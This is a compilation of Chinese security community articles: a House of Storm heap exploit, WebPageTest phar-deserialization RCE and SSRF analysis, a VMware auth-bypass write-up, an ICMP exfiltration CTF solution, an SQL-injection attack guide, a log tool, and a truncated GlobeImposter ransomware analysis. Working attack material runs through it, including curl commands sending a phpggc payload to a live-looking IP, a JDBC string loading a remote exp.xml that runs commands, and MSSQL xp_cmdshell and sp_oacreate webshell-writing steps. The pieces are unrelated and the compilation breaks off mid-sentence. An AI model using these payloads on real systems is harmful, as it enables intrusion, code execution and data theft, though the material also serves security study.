// 用于创建假块的“bk”，以避免从未排序的bin解链接时崩溃
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
// 用于使用错误对齐技巧创建假块的“大小”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 2; // large_bin->bk_nextsize
ptr = malloc(0x58);
strncpy(ptr, "/bin/sh", 0x58 - 1);
system(global_container.sh);
return 0;
}
原理和有PIE的情况是一样的，但是受随机化的影响，chunk的地址可能是`0x610000-0x25d0000`的任意一个内存页，所以概率是`1/32`，相对于有PIE的`1/3`的概率要小很多。
## exploit
一般 House of Strom 是利用 off by one 漏洞构成 shrin chunk导致 overlaping ，然后在控制`large
bin`和`unsorted bin`进行House of Strom，具体格式形似如下：
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
# 改pre_size域为 0x500 ,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size 为 0x510
delete_note(1)
# off by null 将1号块的size字段覆盖为0x500，
# 和上面的0x500对应，为了绕过检查
edit_note(0, 'a'*(0x18))
alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了和 1 重叠
delete_note(1)
delete_note(2) # unlink进行前向extend
# 2号块与7号块交叠，可以通过7号块修改2号块的内容
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
上面的代码来自：<http://blog.eonew.cn/archives/709> 。
## 总结
这样一个任意地址申请漏洞，危害还是相当大的。 | 社区文章 |
# WebPageTest
WebPageTest是一款非常专业的 Web
页面性能分析工具,它可以对检测分析的环境配置进行高度自定义化。2022年9月23日互联网上公开WebPageTest的多个漏洞。攻击者可利用runtest.php，构造恶意请求触发phar反序列化，执行任意代码控制服务器。同时可以借助jeeginfo.php触发ssrf漏洞，从而扫描内网获取敏感信息。本次要分析的两个漏洞源于阿里云漏洞库，编号分别为AVD-2022-1474319和AVD-2022-1474320。
## [AVD-2022-1474319](https://avd.aliyun.com/detail?id=AVD-2022-1474319)
这是一个触发phar反序列化从而导致恶意代码执行的漏洞。
github的修复提交:<https://github.com/WPO-Foundation/webpagetest/commit/6c8e1e675af09fe49fb0580354534feb6b105c95>
根据修复可以大概猜到，该漏洞是由于rkey参数过滤不严导致的。下面是对该漏洞的一个具体分析。
漏洞发生在www/runtest.php中的RelayTest函数中。
function RelayTest()
{
global $error;
global $locations;
$error = null;
$ret = array();
$ret['statusCode'] = 200;
$rkey = $_POST['rkey'];
$test = json_decode($_POST['testinfo'], true);
$test['vd'] = '';
$test['vh'] = '';
$job = trim($_POST['job']);
$ini = trim($_POST['ini']);
$location = trim($_POST['location']);
$test['workdir'] = $locations[$location]['localDir'];
ValidateKey($test, $error, $rkey);
if( !isset($error) )
{
$id = $rkey . '.' . $test['id'];
$ret['id'] = $id;
$test['job'] = $rkey . '.' . $test['job'];
$testPath = './' . GetTestPath($id);
@mkdir($testPath, 0777, true);
$job = str_replace($test['id'], $id, $job);
file_put_contents("$testPath/testinfo.ini", $ini);
WriteJob($location, $test, $job, $id);
SaveTestInfo($id, $test);
}
if( isset($error) )
{
$ret['statusCode'] = 400;
$ret['statusText'] = "Relay: $error";
}
header ("Content-type: application/json");
echo json_encode($ret);
}
该函数中rkey参数可以被用来写入ini文件，ini文件的内容也是可控且没有过滤的。因此可以考虑写入一个phar文件，进而想办法触发phar反序列化。触发phar反序列化并RCE需要以下条件：
* 可以写入phar文件，并且知道文件的位置
* 具有可以触发phar协议的函数
* 有适当的class可以被用来触发反序列化并导致代码执行
目前第1个条件是满足的，继续深入研究rkey的处理过程可以发现条件2也可以满足。
对rkey的处理过程如下：
if( !isset($error) )
{
$id = $rkey . '.' . $test['id'];
$ret['id'] = $id;
$test['job'] = $rkey . '.' . $test['job'];
$testPath = './' . GetTestPath($id);
@mkdir($testPath, 0777, true);
$job = str_replace($test['id'], $id, $job);
file_put_contents("$testPath/testinfo.ini", $ini);
WriteJob($location, $test, $job, $id);
SaveTestInfo($id, $test);
}
该部分将rkey参数写入id参数，id参数交给savetestinfo函数处理。rkey相当于一个文件路径的前缀，文件路径的形式是xxx.xxx。
接下来跟进SaveTestInfo函数，在SaveTestInfo函数中，恰好有可以触发phar协议的函数，也就是is_dir。如果$testPath的值为phar://xxx/xxx/xxx的形式，就可以触发phar协议，读取到我们构造的特定的testinfo.ini，从而打到反序列化的目的。
function SaveTestInfo($testIdOrPath, &$testInfo) {
if (isset($testInfo) && is_array($testInfo) &&
isset($testIdOrPath) && strlen($testIdOrPath)) {
$testPath = $testIdOrPath;
if (strpos($testPath, '/') === false) {
$id = $testPath;
$testPath = '';
if (ValidateTestId($id))
$testPath = './' . GetTestPath($id);
}
if (is_dir($testPath)) {
$testPath = realpath($testPath);
$lock = Lock("Test Info $testPath");
if ($lock) {
gz_file_put_contents("$testPath/testinfo.json", json_encode($testInfo));
Unlock($lock);
}
}
}
}
顺便总结下能触发phar协议的函数
* fimeatime / filectime / filemtime
* stat / fileinode / fileowner / filegroup / fileperms
* file / file_get_contents / readfile / fopen
* file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
* parse_ini_file
* unlink
* copy
满足了前两个条件，现在只需要解决POP链这一个问题了。SaveTestInfo函数存在于commo_lib.inc文件中，inc文件需要spl_autoloaded_register来实现类的加载，因此可以找到spl_autoloaded_register函数所在的位置，看一看有哪些class会被加载。恰好在www/lib/aws/aws-autoloader.php中调用了spl_autoloaded_register，并且加载了monolog。monolog是一个PHP编写的日志应用，有很多的POP链可以用。可以借助phpggc来生成payload。
至此，所有触发phar反序列化的条件都满足了，后面主要是注意一些细节。比如借助rkey参数生成的路径是xx.的形式，末尾有一个小数点，所以在触发的时候需要注意。
借助phpggc程序生成执行id命令的phar文件并发送：
./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
#进行url编码
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
#写入文件
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o - #触发反序列化
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
下面是攻击的效果，可以看到成功执行了id命令。
## [AVD-2022-1474320](https://avd.aliyun.com/detail?id=AVD-2022-1474320)
这是一个SSRF漏洞，漏洞产生在www/jpeginfo/jpeginfo.php文件中。
该部分接受了一个url参数，通过将该参数的值进行sha1处理，并将得到的值每4个字符分为一组，可以得到一个文件存储的路径,具体处理过程见GetPath函数。
if (array_key_exists('url', $_REQUEST) &&
strlen($_REQUEST['url'])) {
$url = trim($_REQUEST['url']);
echo "<!DOCTYPE html>\n<html>\n<head>\n</head>\n<body>\n";
echo "JPEG Analysis for " . htmlspecialchars($url) . "<br><br>";
$id = sha1($url);
$path = GetPath($id);
if (!is_file($path))
GetUrl($url, $path);
if (is_file($path))
AnalyzeFile($path);
echo "</body>\n</html>";
}
GetPath函数内容如下：
function GetPath($id) {
if (!is_dir('./results/jpeginfo'))
mkdir('./results/jpeginfo');
$path = realpath('./results/jpeginfo') . '/' . implode('/', str_split(trim($id), 4));
return $path;
}
得到路径之后，会执行GetUrl操作。该函数主要是判断用到的协议是不是http协议，如果url的开头不是http，则会自动加上<http://，因此url必须是http://开头才有机会被利用。>
function GetUrl($url, $path) {
$ret = false;
if (strlen($url)) {
if (strcasecmp(substr($url, 0, 4), 'http'))
$url = "http://$url";
global $imageFile;
$dir = dirname($path);
if (!is_dir($dir))
mkdir($dir, 0777, true);
$imageFile = fopen($path, 'w');
if ($imageFile !== false) {
if (FetchUrl($url)) {
fclose($imageFile);
if (filesize($path))
$ret = true;
} else {
fclose($imageFile);
echo "Error fetching " . htmlspecialchars($url);
}
if (!$ret)
unlink($path);
} else
echo "Error creating temp file";
} else
echo "Invalid URL";
return $ret;
}
在处理完UR来的格式之后会创建对应的目录，并执行FetchUrl的操作。该函数主要是通过curl访问目标url得到相应的内容。
function FetchUrl($url) {
$ret = false;
if (function_exists('curl_init')) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)');
curl_setopt($curl, CURLOPT_FILETIME, true);
curl_setopt($curl, CURLOPT_FAILONERROR, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl, CURLOPT_DNS_CACHE_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
curl_setopt($curl, CURLOPT_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($curl, CURLOPT_WRITEFUNCTION, 'WriteCallback');
if (curl_exec($curl) !== false)
$ret = true;
curl_close($curl);
}
return $ret;
}
值得注意的是，curl中设置了允许重定向：
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
如果我们设置一个恶意的服务器，该服务器某个url被访问之后会给出一个类似于下面的响应header：
Location: gopher://xxx:port
则可以借助gopher协议触发SSRF漏洞，探测内网信息。 | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/zVYQQgDjcwJKAnX8SZJ5Cw>**
# **漏洞描述**
5 月 18 日，VMware 发布了一份公告 ( VMSA-2022-0014 )，以解决多个 VMware
产品中的两个漏洞，其中包括CVE-2022-22972，该漏洞在身份认证处理时存在一定缺陷。远程攻击者可通过伪造相关请求信息来绕过身份验证，从而获取相关应用程序的管理权限。
# **相关介绍**
VMware是一家提供全球桌面到数据中心虚拟化解决方案的厂商，其推出的产品包括我们最熟悉的VMware
Workstation，一款桌面虚拟计算软件。此次漏洞涉及的多个产品介绍如下：
VMware Workspace ONE Access 是 VMware 公司开发的一款智能驱动型数字化工作空间平台，通过 Workspace ONE
Access 能够随时随地在任意设备上轻松、安全地交付和管理任意应用。VMware vRealize Automation
是自动化部署方案云管平台。VMware Cloud Foundation 是 VMware公司混合云平台。vRealize Suite Lifecycle
Manager 是 vRealize Suite 生命周期和内容管理平台。
# **利用范围**
* VMware Workspace ONE Access 21.08.0.1, 21.08.0.0，20.10.0.1, 20.10.0.0
* VMware Identity Manager（vIDM） 3.3.6, 3.3.5, 3.3.4, 3.3.3
* VMware vRealize Automation(vIDM) 7.6
* VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x
* VMware Cloud Foundation (vRA) 3.x
* vRealize Suite Lifecycle Manager(vIDM) 8.x
# **漏洞分析**
简单回顾下CVE-2022-22954（ VMware Workspace ONE Access
SSTI漏洞），属于模板注入漏洞，恶意攻击者可以利用此漏洞在未经过身份验证的情况下进行远程任意代码执行；CVE-2022-22957（VMware
Workspace ONE Access
JDBC注入漏洞），由于相关参数完全可控，恶意攻击者可实行JDBC注入，通过写入任意文件等方式获取系统权限。此次的CVE-2022-22972，同样选择VMware
Workspace ONE Access漏洞版本来进行分析，并详细记录环境搭建和漏洞分析复现过程。
## **环境搭建**
先从官网（[https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269](https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269
"https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269")）下载VMware
Workspace ONE Access 21.08.0.1 OVA文件
使用VMware Workstation导入OVA文件，配置FQDN（主机名设置为随机域名，不然后续配置数据库时会报错）。
导入成功后会进行初始化，完成后出现如下信息。
访问https://<域名：8443>，根据提示进行账号和数据库配置。
按照要求，一步一步完成配置即可。
为搭建动态调试环境，需将相关源码保存到本地，并使用IDEA开启远程调试
需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目录下。
IDEA配置远程调试。
将远程调试命令写入/opt/vmware/horizon/workspace/bin/setenv.sh。
重启服务之后，配置iptables防火墙，允许数据包通过INPUT链和OUTPUT链。
最后访问https://<域名>，到登陆页面，环境搭建成功。
## **动态分析**
抓取登陆数据包，修改Host头为tessdadddd后进行重放。
回到vmware中，查看/opt/vmware/horizon/workspace/logs/horizon.log
在日志中发现，vm对任意输入的host头，发送了HTTP请求，并且因为无法解析而抛出异常。
同时，根据日志信息中整个认证的调用栈，我们将分析的开端定位在local-password-auth-adapter-0.1.jar中。
分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函数。
在获取到账号密码等信息之后，通过getLocalUrl函数来提取参数endpoint
跟进com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函数。
在getLocalUrl函数中，会构造出一个新的HTTPS请求，其中的主机地址则是通过request.getServerName从HOST头中直接获取。因此这也为我们绕过认证伪造主机地址创造了条件。
继续跟进将回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login
此时的endpoint即为新构造的HTTPS请求，主机名则为我们任意输入的tessdadddd。
后续，则会调用authenticate函数来完成认证。
在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以发现。
通过之前的HTTPS请求，使用POST方式发送，后续会直接根据请求返回的状态码来判断是否认证成功，若状态码为200，即认证成功。因此可通过伪造HOST头和伪造HTTPS服务器并保证对任何请求返回状态200，即可实现认证绕过。
## **漏洞复现**
伪造HTTPS服务器，满足对任意请求都返回200。
修改HOST为伪造的HTTPS服务器地址，成功绕过认证并获取有效cookie。
POC
jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml
exp.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>whoami</value>
</list>
</constructor-arg>
</bean>
</beans>
**参考材料**
1. <https://www.vmware.com/security/advisories/VMSA-2022-0014.html>
2. <https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive/>
3. <https://y4er.com/post/cve-2022-22972-vmware-workspace-one-access-authentication-bypass-rce/>
4. <https://mp.weixin.qq.com/s/fQIfOHgTB9fEkczdJ8-IBQ>
* * * | 社区文章 |
# HackTheBox Cyber Apocalypse 2021 CTF：Oldest trick in the book
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 数字取证题目Oldest trick in the book
大家好我是来自Tiger-Team的evi1_f4iry，近期刚刚和小伙伴们组队TigerEyes，完成了为期一周的Cyber Apocalypse
2021 CTF线上赛，队伍最终排名第15。
我将陆续在此分享一些我在队伍中负责解出的题目，本文为取证题Oldest trick in the book。
### 题目信息
Oldest trick in the book
实际完成该题目的人数：265
题目线索：
“A data breach has been identified. The invaders have used the oldest trick in
the book. Make sure you can identify what got stolen from us.”
一个数据库发生了泄露。入侵者使用了书中最古老的把戏，确保你能辨认出我们被盗的东西是什么。
题目数据包解压后是一个名为“older_rtick.pcap”的流量数据包。
它较为巨大的容量首先引起了我的注意。通过binwalk检查可发现更多的线索。
我在这里曾经尝试通过dd分割，但是分割后的zip是不能解压的，提示有data在文件尾部，hexedit修复等方法都无法成功。同时也尝试了将4部分zip作为一个整体分割出来处理，但是除了发现下面这种三个压缩文件头在一起之外并没有更多的收获。
这三个头复合到一起曾经让我以为这是三个嵌套在一起的压缩包。按这个思路尝试修复同样是无用之功。
错误的尝试足够了。
让我们回归到正途上。
使用wireshark打开流量包。
打开后由于流量包容量巨大，记录很难逐条查看。
首先我使用了统计功能简单分析一下流量包的分布。
可以看到TCP包很多，16782，ICMP包20232，tcp包多是正常的，因为常规的通信都是tcp为主，但是ICMP包如此多，就值得怀疑，同时联想到题目有提到“入侵者使用了书中最古老的把戏”，我相信我找到了正确的路线。
过滤查看
我在icmp过滤后的第一个包中，发现了我在试错过程种曾发现的线索，以三组pk头开始的数据（pk头是压缩文件头）。
简单看了一下各个包的Data部分，应该就是IP:192.168.1.7利用icmp向IP:192.168.1.8传送了压缩文件。
再次修改过滤条件
(icmp) && (ip.src == 192.168.1.7)
现在剩下的包可以看到都是发送带有data的包，
同时我注意到data的部分规律：
根据我们已知的压缩文件PK头对应的数据应为“50 4b 03
04“，如果我想按之前试错过程中得到的线索：数据应为压缩包的话，那前16位数据显然不是我需要的数据，
同时，我们还可以发现另外一个规律，数据都是重复了三次的。
继续查看其它包也可以在一些含有明文的包中看到同样的规律
我进行了导出。
这里可以用tshark或者直接用wireshark将过滤好的包导出。然后通过cut处理一下数据，只取16到48位的字符，也就是去除不重复的数据。
Tshark:
tshark -r older_trick.pcap -Y “(icmp) && (ip.src == 192.168.1.7)” -T fields -e
data.data | cut -c 17–48 > data_cut
wireshark的话则是导出json，然后grep data部分同样cut，这里就不再展示。
现在我得到了不重复的数据。
现在只需要将数据转成zip。
现有的数据一是存在换行符号，二是数据是hex的，要想转换为文件则需要转为bytes。
写了以下脚本来达到目的。
#!/usr/bin/env python3
hex_data = []
with open('data_cut', 'r') as f:
for data_line in f.readlines():
hex_data.append(bytes.fromhex(data_line.strip('\n')))
f.close()
#print(hex_data)
with open('out.zip', 'wb') as out:
out.write(b''.join(hex_data))
out.close()
执行后得到预期的压缩文件。
解压后得到fini文件夹。
通过观察搜索文件名，以及观察文件的内容，可以发现这是firefox的配置文件夹。
Compatibility.ini中也可以发现这应该是Windows系统下的Firefox的配置文件夹：
同时，在logins.json文件中我发现了一组加密后的凭据。
Logins.json
{"nextId":2,"logins":[{"id":1,"hostname":"https://rabbitmq.makelarid.es","httpRealm":null,"formSubmitURL":"https://rabbitmq.makelarid.es","usernameField":"username","passwordField":"password","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECMeab8LuajLlBAixWaWDdSvdNg==","encryptedPassword":"MEoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECGKAhjI0M93wBCDzNVgOAQ9Qn77aRp791mOjsyTjoAINAym/9+wmwdI/hQ==","guid":"{aed76f86-ae6a-4ef5-b413-be3769875b0f}","encType":1,"timeCreated":1618368893810,"timeLastUsed":1618368893810,"timePasswordChanged":1618368893810,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
Firefox的凭据是可以通过一个工具进行复原的，当然也可以导入到Firefox进行恢复。
<https://github.com/unode/firefox_decrypt>
firefox_decrypt可以用来从主密码保护的配置文件中恢复密码，只要主密码是已知的。如果配置文件不受主密码保护，则在没有提示的情况下显示密码。
将firefox_decrypt.py脚本拷贝进解压得到的fini文件夹，并以当前目录为参数执行。
python3 firefox_decrypt.py `pwd`
直接得到flag
CHTB{long_time_no_s33_icmp}
Long time no see icmp… | 社区文章 |
## 写在文前
从实习到现在，因为从事打点工作的原因，实战经验积累了很多，就想写一些自己在实战中碰到的问题，以及自己的解决方法，因为保密的原因大多数不提供复现环境和截图，权当对渗透思路的一个拓展吧。可能会多写几篇，也可能因为实战经验不足就此荒废这个系列。总之看心情和时间安排吧。
## 注入的几个问题
SQL注入所涉及到的东西无非就以下几方面
1. 哪里会经常出现注入
2. bypass waf
3. 如何快速定位重要数据表
4. 大数据表托数据
5. 注入读写文件
6. 执行命令
## 哪里经常出现注入
要想利用注入，首先你得挖到一个注入点，在大多数的业务场景中，搜索框是一个容易出现注入的地方，他们的SQL语句形如
SELECT p.*, pac.all_cities FROM {p}_page AS p left join {p}_page_all_cities pac on p.page_id=pac.page_id and p.lang=pac.lang left join {p}_page_all_provinces pap on p.page_id=pap.page_id and p.lang=pap.lang WHERE p.[lang] = N'2' AND p.[hidden] = N'0' AND p.[parent_id] =14 And ( p.[title] like N'%sql%' ) And (p.[pri4]=N'1' Or p.[pri5]=N'1' Or p.[pri6]=N'1' Or p.[sec1]=N'1' Or p.[sec2]=N'1' Or p.[sec3]=N'1' Or p.[sec4]=N'1' Or p.[sec5]=N'1' Or p.[sec6]=N'1') And ( wholeyear=N'1' Or year1m9=N'1' Or wholeyear=N'1' Or year2m1=N'1') ORDER BY wholeyear
可能你觉得这里用预编译处理的话岂不是简简单单防止sql注入？但是有些开发没有安全意识，他嫌弃这个sql语句又臭又长，硬要进行拼接sql语句，造成注入。
还有就是order by的注入点，SQL预编译会解决sql注入问题，但是有些地方是不能参数化的。比如order
by后就不能参数化，挖注入的时候看准orderby、sort参数，一挖一个准。
为什么orderby不能参数化查询？[移步这里](https://www.cnblogs.com/lsdb/p/12084038.html)
再重点关注下日期类型的参数，形如
SELECT * FROM `wp_posts` where post_content like '%%' and post_date BETWEEN '2020/01/01' and '2020/09/02'
日期类型如果在接受参数的时候没有进行强制类型转换很容易出现注入问题，也是直接拼接的原因。
1. 搜索
2. orderby、limit
3. 日期类型
其实这些大家都知道，测的时候细心一些就可以了。我习惯每个参数都测一测，`lang=cn`参数有注入的情况也不是没有。
## bypass waf
这点没什么好说的，404师傅的
[MYSQL_SQL_BYPASS_WIKI](https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI)
讲的姿势很多了。其实绕waf最重要的是你需要清楚他拦截的是你payload的哪一部分。我的思路是一段一段测，比如：
select user() -- 拦截
拦了select还是拦了user()？还是拦了`/select.*?user/`这个正则？
改成`selact`试试
selact user() -- 不拦截
改成select usar()试试
select usar() -- 不拦截
那就说明他拦截的是`/select.*?user/`，打乱正则就行了。
还有就是内联注释并不是万能的，更多的时候需要配合数据库的特性以及中间件的解析特性来绕过。[一个很牛逼的例子就是这篇文章](https://xz.aliyun.com/t/7767)
## 如何快速定位重要数据表
渗透中总是有一些大型的数据库，一个数据库中有几百个表，一个一个看脑壳疼。这个时候sqlmap有一个参数叫做`--search`，可以用来搜索列、表或数据库名称。
1. \--search -D：搜索某个数据库
2. \--search -T：搜索某个表名
3. \--search -C：搜索某个字段名
通过搜索形如username、password的字段即可快速定位重要数据表。
## 大数据表托数据
一般上是直接托文件，比如mysql可以用自带的mysqldump，如果是站库分离可以自己传一个mysqldump上去指定`-h`参数就行了。mysqldump是没有依赖的，单exe就能运行，直接拖sql文件比一点一点拖快得多。
mssql的话直接拖mdf，或者osql命令。
## 注入读写文件
以下全部基于你有路径的前提下。
当你通过注入没有下一步思路的时候，就要考虑读写文件了。读写文件很多情况下都需要用到堆叠语句，MySQL中如果用的是mysqli
pdo处理的话，有的可以堆叠，mssql+aspx是原生堆叠，Oracle要看代码层面是怎么写的，具体根据实际判断吧，环境不一样问题不一样。
MySQL读文件值得一提的就是`load data infile`和`load data local infile`，不受`secure-file-priv`的限制，但是需要堆叠，或者你也可以找找phpmyadmin，phpmyadmin的话还受到`open_basedir`限制。通过注入拓展任意文件读取，也算一种思路吧。如果你是mysql低权限账户可以试着读一下`user.MYD`，万一读到root密码呢？
至于`load data local
infile`的权限问题一直是一个谜，我理解的他的权限应该是和MySQL的权限一样的，因为碰到了一次读不到apache用户www目录下的源码，MySQL用户和apache权限不一样。但是其实我自己都不是很确定，希望有师傅看到了指点一下。
MySQL写文件的话`into outfile`、`into dumpfile`还有就是日志写文件`general
log`，绝对路径写shell，插件写udf，写mof。
mssql的话读写文件的操作更多样化一些。
列目录`xp_dirtree`、`xp_subdirs`
写文件`xp_cmdshell 'echo 1 > c:/1.txt'`、`sp_oacreate`、`sp_oamethod`配合写shell
declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:/www/1.aspx', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'this is shell';
或者出网的话直接写一个vbs下载器，随意发挥。
读文件的话
USE test;
DROP TABLE cmd;
CREATE TABLE cmd ( a text );
BULK INSERT cmd FROM 'd:/config.aspx' WITH (FIELDTERMINATOR = 'n',ROWTERMINATOR = 'nn')
SELECT * FROM cmd
站库分离的话看下数据库服务器有没有web服务，如果直接访问IP是iis默认页面可以直接往iis的默认目录写aspx。没有web服务的话可以写一个dns的马进去，xp_cmdshell执行，或者调用wscript.shell执行。
postgresql的`copy from`，`copy to`读写文件，要是有别人的马直接读文件岂不是美滋滋。
## 执行命令
MySQL udf mof不说了
mssql xp_cmdshell、自己创建clr、调用wscript.shell、调用Shell.Application、写启动项、写dll劫持。
之前碰到过一个站库分离，有xp_cmdshell，但是只出dns的。通过certutil转exe为base64，通过echo写入文件，调用目标的certutil转回exe执行上线。
## 其他利用场景
任意文件上传，没有路径，找找注入在数据库中肯定存储了文件的路径，配合sqlmap的--sql-shell和--search参数就能找到shell地址。
## 总结
通过注入可以拓展很多思路，因为数据库基本上都实现了读写文件的操作，执行命令也可以通过拓展或者系统自带的存储过程来实现。限制我们的更多的是权限的问题，一个绝对意义的低权限注入点神仙也没办法。思路给到，具体情况具体分析。欢迎师傅们分享更多由注入拓展的姿势。 | 社区文章 |
# **简介**
信息安全工作场景很多，这里针对个人的一个工作场景自制一个日志分析工具。
在应急响应的时候如何从大量web日志中寻找和提取有用信息是我工作中所遇到的一个痛点。学习众多道友分享的文章后自己也做了一些总结，整理后编写了一个日志检测和信息提取的工具
logC ，下面将对web日志分析和该工具的使用分享自己的一些心得和方法。
# **web日志**
日志有很多，接触最平凡的莫过于web日志。web日志主要出自nginx、IIS、tomcat、apache、weblogic等等（容器）中间件。每种中间件都支持自定义日志输出，大部分都是使用默认配置进行输出，所以这些中间件吐出的日志都很多共同信息，从安全角度或应急的特殊环境再进一提取，对我们有用的信息就很容易选了。比如源IP、path、query、params、status、req_length、res_time、res_length、res_time等。
源IP -> 发出攻击行为的IP地址
path、query、params -> 攻击载荷、攻击行为、攻击特征
status、req_length、res_time、res_length、res_time -> 攻击是否成功的判断依据
# **如何分析**
1. 通过path、query、params匹配攻击特征，寻找攻击发起者的IP地址
2. 通过攻击发起者的IP地址提取攻击者的所有日志信息，进一步确定攻击者的攻击行为
3. 通过status、req_length、res_time、res_length、res_time的具体情况判断带有攻击载荷的请求是否被执行
4. 验证攻击载荷是否成功执行，确定主机是否存在相关漏洞
以上是一种简单的日志分析步骤
# **工具使用说明**
-f 指定日志所在文件夹，会遍历文件夹内所有文件，解析失败的文件会在会在控制台输出
-o 指定分析结果和提取日志存储的文件夹
-c 指定配置文件，配置文件中包含日志的解析规则，日期详细输出内容的字段，攻击特征的匹配规则。-c D 使用远程日志解析规则并同步到本地，默认保存为 LOGC_DEFAULT_CONFIG.json 。不加 -c 指定配置文件时默认使用本地 LOGC_DEFAULT_CONFIG.json 作为配置文件。
\--targets 指定需要提取的攻击发起者IP，使用该参数时会忽略解析规则。
# **工具输出**
目前提供源IP、返回数据长度、返回状态码、访问次数这4个参数的图形展示。
点击图表上的IP地址可显示当前IP地址访问的详细日志统计。
跟详细的日志可以通过输出文件夹中的日志文件进行查看。
# **结束语**
文笔不太好，准备写点东西练习练习了。各位道友有什么好的想法或需求可以直接加我企鹅。
附上工具下载地址：<https://pan.baidu.com/s/1YPU_1tujStp69Z9g51AN9g> | 社区文章 |
# 【病毒分析】新勒索病毒变种GlobeImposter（江湖骗子）分析
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[an0nym0u5](http://bobao.360.cn/member/contribute?uid=578844650)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**引子**
****
在过去的几天里，FortiGuard实验室捕捉到一些JS脚本，基于我的分析，这些脚本被用来传播新勒索病毒变种GlobeImposter（江湖骗子），我选择了其中一个文件并进行了快速分析，我分析的病毒变种版本为726。图1展示了我们捕捉到的JS文件的一部分，可以看到以“IMG_”开头的文件都是GlobeImposter病毒的下载程序。
图1 捕捉到的JS文件列表
**下载并执行JS**
****
当JS文件“IMG_8798.js”被执行时它会从站点“<http://wendybull.com.au/87wefhi??JWbXSIl=JWbXSIl>”同步下载GlobeImposter病毒并执行，下载的文件名为87wefhi.txt.exe，接下来分析一下该病毒文件在受害者主机的运作机制。当GlobeImposter运行时会动态往一个堆空间注入代码，然后创建标记为“CREATE_SUSPENDED”的子进程，创建这个挂起子进程后它的代码会被之前注入堆空间的代码替换掉，当子进程处于继续执行状态时注入到堆空间的代码会被执行，这是GlobeImposter功能模块的主要行为，图2展示了GlobeImposter病毒执行时的进程树。
图2 进程树
初始进程通过调用“继续执行线程”来执行它的子进程然后退出，以下所有的分析都是关于该子进程的。
**GlobeImposter病毒子进程**
****
首先，该子进程调用API函数 **SetThreadExecutionState**
